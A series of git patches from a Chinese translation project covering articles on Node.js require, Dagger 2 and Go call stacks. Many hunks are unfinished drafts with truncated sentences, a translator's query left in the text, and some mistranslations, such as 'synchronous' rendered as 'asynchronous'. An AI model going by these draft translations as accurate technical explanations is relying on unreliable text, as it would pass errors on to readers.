+模块不一定是单个文件。我们也可以在 `node_modules` 目录下创建一个 `find-me` 文件夹，然后向其中添加一个 `index.js` 文件。`require('find-me')` 会引用该文件夹下的 `index.js` 文件：
 
 ```
 ~/learn-node $ mkdir -p node_modules/find-me
@@ -184,9 +166,9 @@ Found again.
 >
 ```
 
-Note how it ignored the home directory’s `node_modules` path again since we have a local one now.
+>注意，由于我们现在有一个本地目录，它再次忽略了主目录的 `node_modules` 路径。
 
-An `index.js` file will be used by default when we require a folder, but we can control what file name to start with under the folder using the `main` property in `package.json`. For example, to make the `require('find-me')` line resolve to a different file under the `find-me` folder, all we need to do is add a `package.json` file in there and specify which file should be used to resolve this folder:
+当我们引入一个文件夹时，将默认执行 `index.js` 文件，但是我们可以通过 `package.json` 中的 `main` 属性指定主入口文件。例如，要令 `require('find-me')` 解析到 `find-me` 文件夹下的另一个文件，我们只需要在该文件夹下添加一个 `package.json` 文件来声明解析该文件夹时引用的文件：
 
 ```
 ~/learn-node $ echo "console.log('I rule');" > node_modules/find-me/start.js
@@ -200,9 +182,9 @@ I rule
 >
 ```
 
-#### require.resolve ####
+#### require.resolve 方法 ####
 
-If you want to only resolve the module and not execute it, you can use the `require.resolve` function. This behaves exactly the same as the main `require` function, but does not load the file. It will still throw an error if the file does not exist and it will return the full path to the file when found.
+如果你只想解析模块而不运行，此时可以使用 `require.resolve` 函数。这个方法与 `require` 的主要功能完全相同，但是不加载文件。如果文件不存在，它仍会抛出错误，并在找到文件时返回文件的完整路径。
 
 ```
 > require.resolve('find-me');
@@ -222,34 +204,34 @@ Error: Cannot find module 'not-there'
 >
 ```
 
-This can be used, for example, to check whether an optional package is installed or not and only use it when it’s available.
+这个方法可以用于检查一个可选安装包是否安装，并仅在该包可用时使用。
 
-#### Relative and absolute paths ####
+#### 相对路径和绝对路径 ####
 
-Besides resolving modules from within the `node_modules` directories, we can also place the module anywhere we want and require it with either relative paths (`./` and `../`) or with absolute paths starting with `/`.
+除了从 `node_modules` 目录中解析模块以外，我们还可以将模块放置在任意位置，使用相对路径（ `./` 和 `../` ）或以 `/` 开头的绝对路径引入。
 
-If, for example, the `find-me.js` file was under a `lib` folder instead of the `node_modules` folder, we can require it with:
+举个例子，如果 `find-me.js` 文件并不在 `node_modules` 中，而在 `lib` 文件夹中。我们可以使用以下代码引入它：
 
 ```
 require('./lib/find-me');
 ```
 
-#### Parent-child relation between files ####
+#### 文件间的父子关系 ####
 
-Create a `lib/util.js` file and add a `console.log` line there to identify it. Also, `console.log` the `module` object itself:
+现在我们来创建一个 `lib/util.js` 文件，向文件添加一行 `console.log` 代码作为标识。打印出 `module` 对象本身：
 
 ```
 ~/learn-node $ mkdir lib
 ~/learn-node $ echo "console.log('In util', module);" > lib/util.js
 ```
 
-Do the same for an `index.js` file, which is what we’ll be executing with the node command. Make this `index.js` file require `lib/util.js`:
+同样的，向 `index.js` 文件中也添加一行打印 `module` 对象的代码，并在文件中引入 `lib/util.js`，我们将使用 node 命令运行该文件：
 
 ```
 ~/learn-node $ echo "console.log('In index', module); require('./lib/util');" > index.js
 ```
 
-Now execute the `index.js` file with node:
+用 node 运行 `index.js` 文件：
 
 ```
 ~/learn-node $ node index.js
@@ -279,25 +261,27 @@ In util Module {
   paths: [...] }
 ```
 
-Note how the main `index` module `(id: '.')` is now listed as the parent for the `lib/util` module. However, the `lib/util` module was not listed as a child of the `index` module. Instead, we have the `[Circular]` value there because this is a circular reference. If Node prints the `lib/util` module object, it will go into an infinite loop. That’s why it simply replaces the `lib/util` reference with `[Circular]`.
+>注意：`index` 主模块 `(id: '.')` 现在被列为 `lib/util` 模块的父类。但 `lib/util` 模块并没有被列为 `index` 模块的子目录。相反，我们在这里得到的值是 `[Circular]`，因为这是一个循环引用。如果 Node 打印 `lib/util` 模块对象，将进入一个无限循环。这就是为什么 Node 使用 `[Circular]` 代替了 `lib/util` 引用。
 
-More importantly now, what happens if the `lib/util` module required the main `index` module? This is where we get into what’s known as the circular modular dependency, which is allowed in Node.
+
+重点来了，如果我们在 `lib/util` 模块中引入 `index` 主模块会发生什么？这就是 Node 中所支持的循环模块依赖关系。
 
 To understand it better, let’s first understand a few other concepts on the module object.
+为了更好理解循环模块依赖，我们先来了解一些关于 module 对象的概念。
 
-#### exports, module.exports, and synchronous loading of modules ####
+#### exports、module.exports 和模块异步加载 ####
 
-In any module, exports is a special object. If you’ve noticed above, every time we’ve printed a module object, it had an exports property which has been an empty object so far. We can add any attribute to this special exports object. For example, let’s export an id attribute for `index.js` and `lib/util.js`:
+在所有模块中，exports 都是一个特殊对象。你可能注意到了，以上我们每打印一个 module 对象时，它都有一个空的 exports 属性。我们可以向这个特殊的 exports 对象添加任意属性。例如，我们现在为 `index.js` 和 `lib/util.js` 的 exports 对象添加一个 id 属性：
 
 ```
-// Add the following line at the top of lib/util.js
+// 在 lib/util.js 顶部添加以下代码
 exports.id = 'lib/util';
 
-// Add the following line at the top of index.js
+// 在 index.js 顶部添加以下代码
 exports.id = 'index';
 ```
 
-When we now execute `index.js`, we’ll see these attributes as managed on each file’s `module` object:
+然后运行 `index.js`，我们将看到：
 
 ```
 ~/learn-node $ node index.js
@@ -319,15 +303,15 @@ In util Module {
   ... }
 ```
 
-I’ve removed some attributes in the above output to keep it brief, but note how the `exports` object now has the attributes we defined in each module. You can put as many attributes as you want on that exports object, and you can actually change the whole object to be something else. For example, to change the exports object to be a function instead of an object, we do the following:
+为了保持示例简短，我删除了以上输出中的一些属性，但请注意：`exports` 对象现在拥有我们在各模块中定义的属性。你可以向 exports 对象添加任意多的属性，也可以直接将整个对象改为其它对象。例如，我们可以通过以下方式将 exports 对象更改为一个函数：
 
 ```
-// Add the following line in index.js before the console.log
+// 将以下代码添加在 index.js 中的 console.log 语句前
 
 module.exports = function() {};
 ```
 
-When you run `index.js` now, you’ll see how the `exports` object is a function:
+再次运行 `index.js`，你将看到 `exports` 对象是一个函数：
 
 ```
 ~/learn-node $ node index.js
@@ -338,9 +322,9 @@ In index Module {
   ... }
 ```
 
-Note how we did not do `exports = function() {}` to make the `exports` object into a function. We can’t actually do that because the `exports` variable inside each module is just a reference to `module.exports` which manages the exported properties. When we reassign the `exports` variable, that reference is lost and we would be introducing a new variable instead of changing the `module.exports` object.
+>注意：我们并没有使用 `exports = function() {}` 来将 `exports` 对象更改为函数。实际上，由于各模块中的 `exports` 变量仅仅是对管理输出属性的 `module.exports` 的引用，当我们对 `exports` 变量重新赋值时，引用就会丢失，此时我们只是引入了一个新的变量，而没有对 `module.exports` 做修改。
 
-The `module.exports` object in every module is what the `require` function returns when we require that module. For example, change the `require('./lib/util')` line in `index.js` into:
+各模块中的 `module.exports` 对象就是我们在引入该模块时 `require` 函数的返回值。例如，我们将 `index.js` 中的 `require('./lib/util')` 改为：
 
 ```
 const UTIL = require('./lib/util');
@@ -348,24 +332,24 @@ const UTIL = require('./lib/util');
 console.log('UTIL:', UTIL);
 ```
 
-The above will capture the properties exported in `lib/util` into the `UTIL` constant. When we run `index.js` now, the very last line will output:
+以上代码会将 `lib/util` 输出的属性赋值给 `UTIL` 常量。我们现在运行 `index.js`，最后一行将输出以下结果：
 
 ```
 UTIL: { id: 'lib/util' }
 ```
 
-Let’s also talk about the `loaded` attribute on every module. So far, every time we printed a module object, we saw a `loaded` attribute on that object with a value of `false`.
+我们再来谈谈各模块中的 `loaded` 属性。到目前为止我们打印的所有 module 对象中都有一个值为 `false` 的 `loaded` 属性。
 
-The `module` module uses the `loaded` attribute to track which modules have been loaded (true value) and which modules are still being loaded (false value). We can, for example, see the `index.js` module fully loaded if we print its `module` object on the next cycle of the event loop using a `setImmediate` call:
+`module` 模块使用 `loaded` 属性对模块的加载状态进行跟踪，判断哪些模块已经加载完成（值为 true）以及哪些模块仍在加载（值为 false）。例如，要判断 `index.js` 模块是否已完全加载，我们可以在下一个事件循环中使用一个 `setImmediate` 回调打印出他的 `module` 对象。
 
 ```
-// In index.js
+// index.js 中
 setImmediate(() => {
   console.log('The index.js module object is now loaded!', module)
 });
 ```
 
-The output of that would be:
+以上输出将得到：
 
 ```
 The index.js module object is now loaded! Module {
@@ -390,23 +374,26 @@ The index.js module object is now loaded! Module {
      '/node_modules' ] }
 ```
 
-Note how in this delayed `console.log` output both `lib/util.js` and `index.js` are fully loaded.
+>注意：这个延迟的 `console.log` 的输出显示了 `lib/util.js` 和 `index.js` 都已完全加载。
 
 The `exports` object becomes complete when Node finishes loading the module (and labels it so). The whole process of requiring/loading a module is *synchronous.* That’s why we were able to see the modules fully loaded after one cycle of the event loop.
+`exports` 对象在 Node 完成引入/加载所有模块并标记时（becomes complete……构建完成？？）。引入一个模块的整个过程是 **同步的**，因此我们才能在一个事件循环结束后看见模块被完全加载。
 
-This also means that we cannot change the `exports` object asynchronously. We can’t, for example, do the following in any module:
+这也意味着我们无法异步地更改 `exports` 对象。例如，我们在任何模块中都无法执行以下操作：
 
 ```
 fs.readFile('/etc/passwd', (err, data) => {
   if (err) throw err;
 
-  exports.data = data; // Will not work.
+  exports.data = data; // 无效
 });
 ```
 
 #### Circular module dependency ####
+#### 循环模块依赖 ####
 
 Let’s now try to answer the important question about circular dependency in Node: What happens when module 1 requires module 2, and module 2 requires module 1?
+我们现在来回答关于 Node 中循环依赖的重要问题：当模块1
 
 To find out, let’s create the following two files under `lib/`, `module1.js` and `module.js` and have them require each other:
 

From 25b93838b268f4ba80d9fd573ff5a3ab465baf4c Mon Sep 17 00:00:00 2001
From: zhouzihanntu <abbey357423606@hotmail.com>
Date: Thu, 30 Mar 2017 22:13:50 +0800
Subject: [PATCH 007/638] update file

---
 ...-in-node-js-everything-you-need-to-know.md | 57 ++++++++++---------
 1 file changed, 29 insertions(+), 28 deletions(-)

diff --git a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
index 0f35c99a5d3..4074986cbae 100644
--- a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
+++ b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
@@ -266,7 +266,6 @@ In util Module {
 
 重点来了，如果我们在 `lib/util` 模块中引入 `index` 主模块会发生什么？这就是 Node 中所支持的循环模块依赖关系。
 
-To understand it better, let’s first understand a few other concepts on the module object.
 为了更好理解循环模块依赖，我们先来了解一些关于 module 对象的概念。
 
 #### exports、module.exports 和模块异步加载 ####
@@ -389,13 +388,11 @@ fs.readFile('/etc/passwd', (err, data) => {
 });
 ```
 
-#### Circular module dependency ####
 #### 循环模块依赖 ####
 
-Let’s now try to answer the important question about circular dependency in Node: What happens when module 1 requires module 2, and module 2 requires module 1?
-我们现在来回答关于 Node 中循环依赖的重要问题：当模块1
+我们现在来回答关于 Node 中循环依赖的重要问题：当我们在模块1中引用模块2，在模块2中引用模块1时会发生什么？
 
-To find out, let’s create the following two files under `lib/`, `module1.js` and `module.js` and have them require each other:
+为了找到答案，我们在 `lib/` 下创建 `module1.js` 和 `module.js` 两个文件并让它们互相引用：
 
 ```
 // lib/module1.js
@@ -413,24 +410,25 @@ const Module1 = require('./module1');
 console.log('Module1 is partially loaded here', Module1);
 ```
 
-When we run `module1.js` we see the following:
+执行 `module1.js` 后，我们将看到：
 
 ```
 ~/learn-node $ node lib/module1.js
 Module1 is partially loaded here { a: 1 }
 ```
 
-We required `module2` before `module1` was fully loaded, and since `module2` required `module1` while it wasn’t fully loaded, what we get from the `exports` object at that point are all the properties exported prior to the circular dependency. Only the `a` property was reported because both `b` and `c` were exported after `module2` required and printed `module1`.
+我们在 `module1` 加载完成前引用了 `module2`，而此时 `module1` 尚未加载完，我们从当前的 `exports` 对象中得到的是在循环依赖之前导出的所有属性。这里只列出的只有属性 `a`，因为属性 `b` 和 `c` 都是在 `module2` 引入并打印了 `module1` 后导出的。
 
-Node keeps this really simple. During the loading of a module, it builds the `exports` object. You can require the module before it’s done loading and you’ll just get a partial exports object with whatever was defined so far.
+Node 使这个过程变得非常简单。它在模块加载时构建 `exports` 对象。你可以在该模块完成加载前引用它，而你将得到此时已定义的部分导出对象。
 
 #### JSON and C/C++ addons ####
+#### 使用 JSON 和 C/C++ 插件 ####
 
-We can natively require JSON files and C++ addon files with the require function. You don’t even need to specify a file extension to do so.
+我们可以使用自带的 require 函数引用 JSON 文件和 C++ 插件。你甚至不需要为此去指定一个文件扩展。
 
-If a file extension was not specified, the first thing Node will try to resolve is a `.js` file. If it can’t find a `.js` file, it will try a `.json` file and it will parse the `.json` file if found as a JSON text file. After that, it will try to find a binary `.node` file. However, to remove ambiguity, you should probably specify a file extension when requiring anything other than `.js` files.
+如果一个文件扩展未被声明，Node 会在第一时间解析 `.js` 文件。如果没有找到 `.js` 文件，它将继续寻找 `.json` 文件并在找到一个 JSON 文本文件后将其解析为 `.json` 文件。随后，Node 将会查找二进制的 `.node` 文件。但是为了避免歧义，你最好在引用除 `.js` 文件以外的文件类型时声明文件扩展。
 
-Requiring JSON files is useful if, for example, everything you need to manage in that file is some static configuration values, or some values that you periodically read from an external source. For example, if we had the following `config.json` file:
+如果你需要在文件中放置的内容都是一些静态的配置信息，或定期从外部来源读取的一些值，那么使用 JSON 文件非常有用。例如，我们有以下 `config.json` 文件：
 
 ```
 {
@@ -439,28 +437,29 @@ Requiring JSON files is useful if, for example, everything you need to manage in
 }
 ```
 
-We can require it directly like this:
+我们可以这样直接引用它：
 
 ```
 const { host, port } = require('./config');
-```
-
-console.log(`Server will run at [http://${host}:${port}`](http://$%7Bhost%7D:$%7Bport%7D`));
 
+console.log(`Server will run at [http://${host}:${port}](http://$%7Bhost%7D:$%7Bport%7D`));
 
-Running the above code will have this output:
+```
 
+执行以上代码将输出以下结果：
 
+```
 Server will run at [http://localhost:8080](http://localhost:8080)
+```
 
 
-If Node can’t find a `.js` or a `.json` file, it will look for a `.node` file and it would interpret the file as a compiled addon module.
+如果 Node 找不到 `.js` 或 `.json` 文件，它将查找一个 `.node` 文件并将其解释为一个编译后的插件模块。
 
-The Node documentation site has a [sample addon file](https://nodejs.org/api/addons.html#addons_hello_world)  which is written in C++. It’s a simple module that exposes a `hello()` function and the hello function outputs “world.”
+Node 文档站点有一个用 C++ 编写的[插件示例](https://nodejs.org/api/addons.html#addons_hello_world)，该示例模块提供了一个输出 “world” 的 `hello()` 函数。
 
-You can use the `node-gyp` package to compile and build the `.cc` file into a `.addon` file. You just need to configure a [binding.gyp](https://nodejs.org/api/addons.html#addons_building)  file to tell `node-gyp` what to do.
+你可以使用 `node-gyp` 插件将 `.cc` 文件编译成 `.addon` 文件。只需要配置一个 [binding.gyp](https://nodejs.org/api/addons.html#addons_building) 文件来告诉 `node-gyp` 要做什么。
 
-Once you have the `addon.node` file (or whatever name you specify in `binding.gyp`) then you can natively require it just like any other module:
+有了 `addon.node` 文件（你可以在 `binding.gyp` 中声明任意文件名），你就可以像引用其他模块一样引用它了。
 
 ```
 const addon = require('./addon');
@@ -468,29 +467,31 @@ const addon = require('./addon');
 console.log(addon.hello());
 ```
 
-We can actually see the support of the three extensions by looking at `require.extensions`.
+我们可以通过 `require.extensions` 查看 Node 对这三类扩展的支持。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*IcpIrifyQIn9M0q8scMZdA.png">
 
-Looking at the functions for each extension, you can clearly see what Node will do with each. It uses `module._compile` for `.js` files, `JSON.parse` for `.json` files, and `process.dlopen` for `.node` files.
+你可以从各个扩展对应的函数中清楚了解 Node 对它们分别所做的操作：对 `.js` 文件使用 `module._compile`，对 `.json` 文件使用 `JSON.parse`，对 `.node` 文件使用 `process.dlopen`。
 
 #### All code you write in Node will be wrapped in functions ####
+#### 你在 Node 中写的所有代码都将被包装成函数 ####
 
-Node’s wrapping of modules is often misunderstood. To understand it, let me remind you about the `exports`/`module.exports` relation.
+Node 的模块打包经常被误解。要了解它的原理，请回忆一下 `exports` 与 `module.exports` 的关系。
 
-We can use the `exports` object to export properties, but we cannot replace the `exports` object directly because it’s just a reference to `module.exports`
+我们可以使用 `exports` 对象导出属性，但是由于 `exports` 对象仅仅是对 `module.exports` 的一个引用，我们无法直接对其执行替换操作。
 
 ```
-exports.id = 42; // This is ok.
+exports.id = 42; // 有效
 
-exports = { id: 42 }; // This will not work.
+exports = { id: 42 }; // 无效
 
-module.exports = { id: 42 }; // This is ok.
+module.exports = { id: 42 }; // 有效
 ```
 
-How exactly does this `exports` object, which appears to be global for every module, get defined as a reference on the `module` object?
+这个 `exports` 对象看起来对所有模块都是全局的，它是如何被定义成 `module` 对象的引用的呢？
 
 Let me ask one more question before explaining Node’s wrapping process.
+在解释 Node 的打包进程前，再
 
 In a browser, when we declare a variable in a script like this:
 

From 656d9cbcd89d61778c2c2675c4e9b9156c5c3347 Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Sat, 1 Apr 2017 18:05:07 +0800
Subject: [PATCH 008/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index 199a78c5438..f33534c9171 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -86,7 +86,7 @@ Retrofit retrofit = new Retrofit.Builder()
 
 你需要通过创建 Dagger 2 **模块**定义哪些对象应该作为依赖链的一部分。例如，假设我们想要创建一个 `Retrofit` 单例，使它绑定到应用生命周期，对所有的 Activity 和 Fragment 都可用，我们首先需要使 Dagger 意识到他可以提供 `Retrofit` 的实例。
 
-Because we wish to setup caching, we need an Application context.  Our first Dagger module, `AppModule.java`, will be used to provide this reference.  We will define a method annotated with `@Provides` that denotes to Dagger that this method is the constructor for the `Application` return type:
+因为需要设置缓存，我们需要一个 Application context。我们的第一个 Dagger 模块，`AppModule.java`，被用于提供这个依赖。我们将定义一个 `@Provides` 注解，标注带有 `Application` 的构造方法:
 
 ```java
 @Module
@@ -106,9 +106,9 @@ public class AppModule {
 }
 ```
 
-We create a class called `NetModule.java` and annotate it with `@Module` to signal to Dagger to search within the available methods for possible instance providers.  
+我们创建了一个名为 `NetModule.java` 的类，并用 `@Module` 来通知 Dagger，在这里查找提供实例的方法。
 
-The methods that will actually expose available return types should also be annotated with `@Provides` decorator.  The `Singleton` annotation also signals to the Dagger compiler that the instance should be created only once in the application.  In the following example, we are specifying `SharedPreferences`, `Gson`, `Cache`, `OkHttpClient`, and `Retrofit` as the return types that can be used as part of the dependency list.  
+返回实例的方法也应当用 `@Provides` 标注。`Singleton` 标注通知 Dagger 编译器，实例在应用中只应被创建一次。在下面的例子中，我们把 `SharedPreferences`, `Gson`, `Cache`, `OkHttpClient`, 和 `Retrofit` 设置为在依赖列表中可用的类型。
 
 ```java
 @Module
@@ -166,7 +166,7 @@ public class NetModule {
 }
 ```
 
-Note that the method names (i.e. `provideGson()`, `provideRetrofit()`, etc) do not matter and can be named anything.  The return type annotated with a `@Provides` decorator is used to associate this instantiation with any other modules of the same type.  The `@Singleton` annotation is used to declare to Dagger to be only initialized only once during the entire lifecycle of the application.  
+注意，方法名称（比如 `provideGson()`, `provideRetrofit()` 等）是没关系的，可以任意设置。 用 `@Provides` decorator is used to associate this instantiation with any other modules of the same type.  The `@Singleton` annotation is used to declare to Dagger to be only initialized only once during the entire lifecycle of the application.  
 
 A `Retrofit` instance depends both on a `Gson` and `OkHttpClient` instance, so we can define another method within the same class that takes these two types.  The `@Provides` annotation and these two parameters in the method will cause Dagger to recognize that there is a dependency on `Gson` and `OkHttpClient` to build a `Retrofit` instance.
 

From 1d7b8ca3579b0e402f04c76d8340454fb04027bc Mon Sep 17 00:00:00 2001
From: xiaoyusilen <kleineweltzhang@hotmail.com>
Date: Sat, 1 Apr 2017 23:49:40 +0800
Subject: [PATCH 009/638] First translation

---
 TODO/go-function-calls-redux.md | 51 +++++++++++++++++++++++++++------
 1 file changed, 42 insertions(+), 9 deletions(-)

diff --git a/TODO/go-function-calls-redux.md b/TODO/go-function-calls-redux.md
index 2e8b6efa515..5e57a42f892 100644
--- a/TODO/go-function-calls-redux.md
+++ b/TODO/go-function-calls-redux.md
@@ -4,11 +4,17 @@
 > * 译者：[xiaoyusilen](http://xiaoyu.world)
 > * 校对者：
 
-# Go 函数调用 Redux #
+# Go Function Calls Redux Go 方法调用 Redux #
+
+Some time ago in a [previous post](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)  I promised to take a further look at how function calls and call stacks in Go work. I’ve think found a neat way to make good on that promise, so here goes.
 
 前段时间在一篇[文章](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)中我答应写一篇进一步分析 Go 中如何进行函数调用和调用堆栈在 Go 中如何工作的文章。现在我找到了一种简洁的方式来向大家展示上述内容，所以有了现在这篇文章。
 
-什么是调用堆栈？它是一个用于保存局部变量和调用参数的内存区域，并且跟踪每个函数应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。
+So what is a call stack? Well, it’s an area of memory used to hold local variables and call parameters, and to track where functions should return to. Each goroutine has it’s own stack. You could almost say a goroutine is its stack.
+
+什么是调用堆栈？它是一个用于保存局部变量和调用参数的内存区域，并且跟踪每个方法应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。
+
+Here’s the code I’m going to use to show the stack in action. It’s just a sequence of simple function calls. main() calls [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak) , which then calls `f2(0xabad1dea)`, which calls `f3(0xbaddcafe)`. `f3()` then adds one to it’s parameter, and stores it in a local variable called `local`. It then takes the address of `local` and prints out memory starting at that address. Because `local` is on the stack, this prints the stack.
 
 下面是我用于演示堆栈的代码。就是一系列简单的函数调用，main() 函数调用 [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak)，然后调用 `f2(0xabad1dea)`，再调用 `f3(0xbaddcafe)`。然后 f3() 将其中一个作为它的参数，并且将它存储在名为 `local` 的本地变量中。然后获取 `local` 的内存地址并且从那里开始输出。因为 `loacl` 在栈内，所以输出的就是栈。
 
@@ -59,8 +65,12 @@ func showFunc(at uintptr) {
 }
 ```
 
+Here’s the output of the program. It is a dump of memory starting at the address of `local`, shown as a list of 8-byte integers in hex. The address of each integer is on the left, and the int at the address is on the right.
+
 下面是上述代码的输出结果。它是从 `local` 的地址开始的内存转储，是以十六进制形式展示的8字节列表。左边是每个整数的存储地址，右边是地址内存储的整数。
 
+We know `local` should equal 0xBADDCAFE + 1, or 0xBADDCAFF, and this is indeed what we see at the start of the dump.
+
 我们知道 `local` 应该等于 0xBADDCAFE + 1，或者 0xBADDCAFF，这确实是我们转储开始时看到的。
 
 ```
@@ -94,11 +104,16 @@ C42003FFC0: C4200001A0
 102752A is runtime.main /usr/local/Cellar/go/1.8/libexec/src/runtime/proc.go 194
 ```
 
+- The next number is 0xC42003FF48, which is the address of the 5th line of the dump.
 - 下一个数字是 0xC42003FF48，它是转储的第五行的地址。
+- After that we have 0x1088BEB. It turns out this is an address of executable code, and if we feed it into `runtime.FuncForPC` we see it is the address of line 19 of main.go, which is the last line of `f2()`. This is the address we return to when `f3()` returns.
 - 然后我们可以得到 0x1088BEB。事实上这是一个可执行代码的地址，如果我们将它作为 `runtime.FuncForPC` 的参数，我们知道它是 main.go 的第19行代码的地址，也是 f2() 的最后一行代码。这是 f3() 返回时我们得到的地址。
+- Next we have 0xBADDCAFE, the parameter to our call to `f3()`
 - 接下来我们得到 0xBADDCAFE，这是我们调用 `f3()` 时的参数。
 
-如果继续我们将看到类似上面的输出结果。下面我已经标记了内存转储，显示堆栈指针如何跟踪转储，参数和返回地址在哪里。
+If we carry on we continue to see this pattern. Below I’ve marked up the memory dump showing how the stack pointers track back through the dump and where the function parameters and return addresses sit.
+
+如果继续我们将继续看到这种模式。下面我已经标记了内存转储，显示堆栈指针如何跟踪转储，参数和返回地址在哪里。
 
 ```go
   C42003FF28: BADDCAFF    Local variable in f3()
@@ -115,14 +130,22 @@ C42003FFC0: C4200001A0
   C42003FF80: 102752A     return to runtime.main()
 ```
 
-通过这些我们可以看出：
+From this we can see many things.
 
+通过这些我们可以明白很多。
+
+- First, the stack starts at a high address, and the stack address reduces as function calls are made.
 - 首先，堆栈从高地址开始，堆栈地址随着函数调用变小。
-- 当进行函数调用时，调用者将参数放入栈内，然后返回地址（调用函数中的下一条指令的地址），接着指向堆栈中较高的指针。
+- When a function call is made, the caller pushes the parameters onto the stack, then the return address (the address of the next instruction in the calling function), then a pointer to a higher point in the stack.
+- 当进行函数调用时，调用者将参数放入栈内，然后返回地址（调用函数中的下一条指令的地址），然后指向堆栈中较高的指针。
+- This pointer is used to find the previous function call on the stack when unwinding the stack when the call returns.
 - 当调用返回时，这个指针用于在堆栈中查找先前调用的函数。
+- Local variables are stored after the stack pointer.
 - 局部变量存储在堆栈指针之后。
 
-我们可以使用相同的技巧来分析一些稍微复杂的函数调用。这次，我添加了更多的参数，`f2()` 函数也返回了更多的值。
+We can use the same technique to look at some slightly more complicated function calls. I’ve added more parameters, and some return values to `f2()` in this version.
+
+我们可以使用相同的技巧来分析一些稍微复杂的函数调用。这次，我添加了更多的参数，`f2()` 方法也返回了更多的值。
 
 ```go
 package main
@@ -153,6 +176,8 @@ func f3(val int) {
 }
 ```
 
+This time I’ve jumped straight to the marked-up output.
+
 这次我们直接看被我标记好的输出结果。
 
 ```go
@@ -173,11 +198,19 @@ func f3(val int) {
   C42003FF80: 102752A       return to runtime.main()
 ```
 
-从结果中我们可以看出：
+From this we can see that
 
-- 调用函数在函数参数之前为被调用函数的返回值提供空间。（注意这些值是没有初始化的，因为这个函数还没有返回！）
+从结果中我们可以看出
+
+- the calling function makes space for the return values of the called function before the function parameters. (Note the values are uninitialised because the function hasn’t returned yet!)
+- 调用函数在函数参数之前为被调用函数的返回值提供空间。（注意这些值是没有初始化的，因为这个方法还没有返回！）
+- parameters are pushed onto the stack in reverse order.
 - 参数在栈内的顺序与入栈顺序相反。
 
-希望我都讲清楚了。既然你已经看到这儿了，如果喜欢我的这篇文章或者可以从中学到一点什么的话，那么请给我点个赞。不然我就没办法获得积分。
+Hopefully all that made sense! If you got this far and enjoyed it or learned something, please hit that heart-button. I can’t earn internet points without you.
+
+希望上面所写的这些没什么问题！既然你已经看到这儿了，如果喜欢我的这篇文章或者可以从中学到一点什么的话，那么请给我点个赞。不然我就没办法获得积分。
+
+*By day, Phil fights crime at* [*ravelin.com*](https://ravelin.com) *. You can join him:* [*https://angel.co/ravelin/jobs*
 
 **Phil 白天在 [ravelin.com](https://ravelin.com) 的工作主要是防止网上欺诈，你可以加入他 https://angel.co/ravelin/jobs。**
\ No newline at end of file

From a5d5bae6fc2fceca0c14d8acce080944cf044862 Mon Sep 17 00:00:00 2001
From: xiaoyusilen <kleineweltzhang@hotmail.com>
Date: Sat, 1 Apr 2017 23:57:27 +0800
Subject: [PATCH 010/638] Modify details

---
 TODO/anatomy-of-a-function-call-in-go.md | 108 +++++++++++------------
 TODO/go-function-calls-redux.md          |  51 ++---------
 2 files changed, 63 insertions(+), 96 deletions(-)

diff --git a/TODO/anatomy-of-a-function-call-in-go.md b/TODO/anatomy-of-a-function-call-in-go.md
index e03a90ccad1..b4baa299cb1 100644
--- a/TODO/anatomy-of-a-function-call-in-go.md
+++ b/TODO/anatomy-of-a-function-call-in-go.md
@@ -1,18 +1,18 @@
 > * 原文地址：[Anatomy of a function call in Go](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.povigaliw)
 > * 原文作者：[Phil Pearl](https://syslog.ravelin.com/@philpearl?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[xiaoyusilen](http://xiaoyu.world)
 > * 校对者：
 
-# Anatomy of a function call in Go #
+# 解析 Go 中的函数调用 #
 
-Let’s take a look at a couple of simple Go functions and see if we can see how function calls work. We’ll do this by looking at the assembly language the Go compiler generates for the functions. This might be a little ambitious for a small blog post, but don’t worry, assembly language is simple. Even a CPU can understand it.
+让我们来看一些简单的 Go 的函数，然后看看我们能否明白函数调用是怎么回事。我们将通过分析 Go 编译器根据函数生成的汇编语言来完成这件事。对于一个小小的博客来说这可能有一点野心，但是别担心，汇编语言很简单。哪怕是 CPU 都能读懂。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*CKK4XrLm3ylzsQzNbOaroQ.png">
 
-By Rob Baines [https://github.com/telecoda/inktober-2016](https://github.com/telecoda/inktober-2016) 
+图片来自 Rob Baines [https://github.com/telecoda/inktober-2016](https://github.com/telecoda/inktober-2016)
 
-Here’s our first function. Yep, we’re just adding two numbers.
+这是我们的第一个函数。对，我们只是让两个数相加。
 
 ```
 func add(a, b int) int {
@@ -20,9 +20,9 @@ func add(a, b int) int {
 }
 ```
 
-We’ll build it with optimisations disabled to make the assembly easier to follow. We do this with `go build -gcflags ‘-N -l’`. We can then dump out the assembly for our function with `go tool objdump -s main.add func` (func is the name of our package and the executable we just built with go build).
+我们编译的时候需要关闭优化这样方便跟踪每个部分。我们用 `go build -gcflags 'N -l'` 这个命令来完成上述操作。然后我们可以用 `go tool objdump -s main.add func` 输出我们函数的具体细节（这里的 func 是我们的包名，也就是我们刚刚用 go build 编译出的可执行文件）。
 
-If you’ve never looked at assembly language before, then, well, congratulations, this is a new thing for you today. I’ve done this on a Mac, so the assembly is Intel 64-bit.
